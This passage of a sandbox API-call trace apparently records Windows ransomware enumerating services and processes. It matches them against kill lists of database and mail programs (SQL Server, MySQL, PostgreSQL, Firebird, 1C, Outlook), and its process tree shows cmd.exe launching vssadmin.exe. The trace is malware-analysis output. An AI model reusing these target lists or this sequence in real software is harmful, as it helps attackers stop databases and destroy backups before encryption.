[0049.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0049.119] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0049.119] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0049.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0049.120] lstrlenW (lpString="VSS") returned 3 [0049.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0049.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0049.120] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0049.120] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0049.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0049.120] lstrlenW (lpString="WdiServiceHost") returned 14 [0049.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.120] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0049.120] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0049.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0049.120] lstrlenW (lpString="WdiSystemHost") returned 13 [0049.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.120] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0049.120] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0049.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0049.120] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0049.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.120] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0049.120] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0049.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0049.120] lstrlenW (lpString="Winmgmt") returned 7 [0049.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0049.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0049.120] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0049.120] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0049.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0049.120] lstrlenW (lpString="WPDBusEnum") returned 10 [0049.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.120] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0049.121] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0049.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0049.121] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0049.121] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a0 [0049.123] Process32FirstW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0049.123] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0049.124] lstrlenW (lpString="System") returned 6 [0049.124] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0049.124] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0049.124] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0049.124] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0049.124] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0049.124] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0049.124] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0049.124] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0049.125] lstrlenW (lpString="smss.exe") returned 8 [0049.125] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0049.125] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0049.125] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0049.125] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0049.125] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0049.125] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0049.125] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0049.125] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.125] lstrlenW (lpString="csrss.exe") returned 9 [0049.125] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0049.125] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0049.125] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0049.125] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0049.125] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0049.125] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0049.125] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0049.125] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0049.126] lstrlenW (lpString="wininit.exe") returned 11 [0049.126] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0049.126] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0049.126] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0049.126] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.127] lstrlenW (lpString="csrss.exe") returned 9 [0049.127] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0049.127] lstrlenW (lpString="winlogon.exe") returned 12 [0049.127] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0049.128] lstrlenW (lpString="services.exe") returned 12 [0049.128] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0049.128] lstrlenW (lpString="lsass.exe") returned 9 [0049.128] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0049.129] lstrlenW (lpString="lsm.exe") returned 7 [0049.129] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.129] lstrlenW (lpString="svchost.exe") returned 11 [0049.129] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.130] lstrlenW (lpString="svchost.exe") returned 11 [0049.130] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.130] lstrlenW (lpString="svchost.exe") returned 11 [0049.130] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.131] lstrlenW (lpString="svchost.exe") returned 11 [0049.131] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.131] lstrlenW (lpString="svchost.exe") returned 11 [0049.131] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0049.132] lstrlenW (lpString="audiodg.exe") returned 11 [0049.132] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.132] lstrlenW (lpString="svchost.exe") returned 11 [0049.132] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.133] lstrlenW (lpString="svchost.exe") returned 11 [0049.133] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0049.133] lstrlenW (lpString="dwm.exe") returned 7 [0049.133] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0049.134] lstrlenW (lpString="explorer.exe") returned 12 [0049.134] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0049.134] lstrlenW (lpString="spoolsv.exe") returned 11 [0049.134] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.135] lstrlenW (lpString="taskhost.exe") returned 12 [0049.135] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.135] lstrlenW (lpString="svchost.exe") returned 11 [0049.135] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0049.136] lstrlenW (lpString="taskeng.exe") returned 11 [0049.136] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.136] lstrlenW (lpString="taskhost.exe") returned 12 [0049.136] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0049.137] lstrlenW (lpString="dear.exe") returned 8 [0049.137] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0049.137] lstrlenW (lpString="b costa.exe") returned 11 [0049.137] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0049.138] lstrlenW (lpString="rc lock.exe") returned 11 [0049.138] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0049.138] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0049.138] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0049.139] lstrlenW (lpString="hugown.exe") returned 10 [0049.139] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0049.140] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0049.140] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0049.140] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0049.140] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0049.141] lstrlenW (lpString="locked welsh.exe") returned 16 [0049.141] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0049.141] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0049.141] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0049.142] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0049.142] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0049.142] lstrlenW (lpString="planners.exe") returned 12 [0049.142] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0049.143] lstrlenW (lpString="agreements.exe") returned 14 [0049.143] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0049.143] lstrlenW (lpString="tray.exe") returned 8 [0049.143] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0049.144] lstrlenW (lpString="wp std.exe") returned 10 [0049.144] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0049.144] lstrlenW (lpString="lesser.exe") returned 10 [0049.144] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0049.545] lstrlenW (lpString="right-tissue.exe") returned 16 [0049.545] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0049.546] lstrlenW (lpString="bunch.exe") returned 9 [0049.546] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0049.546] lstrlenW (lpString="jam.exe") returned 7 [0049.546] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0049.547] lstrlenW (lpString="chooseincidence.exe") returned 19 [0049.547] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0049.547] lstrlenW (lpString="numericalrear.exe") returned 17 [0049.547] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0049.548] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0049.548] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0049.549] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0049.549] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0049.549] lstrlenW (lpString="come_wave.exe") returned 13 [0049.549] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0049.550] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0049.550] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0049.550] lstrlenW (lpString="uyuquk.exe") returned 10 [0049.550] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0049.551] lstrlenW (lpString="cmd.exe") returned 7 [0049.551] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0049.551] lstrlenW (lpString="conhost.exe") returned 11 [0049.551] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0049.552] lstrlenW (lpString="vssadmin.exe") returned 12 [0049.552] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0049.552] lstrlenW (lpString="VSSVC.exe") returned 9 [0049.552] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.553] lstrlenW (lpString="svchost.exe") returned 11 [0049.553] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0049.553] CloseHandle (hObject=0x1a0) returned 1 [0049.553] Sleep (dwMilliseconds=0x1f4) [0050.523] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566d90 [0050.524] EnumServicesStatusExW (in: hSCManager=0x566d90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, 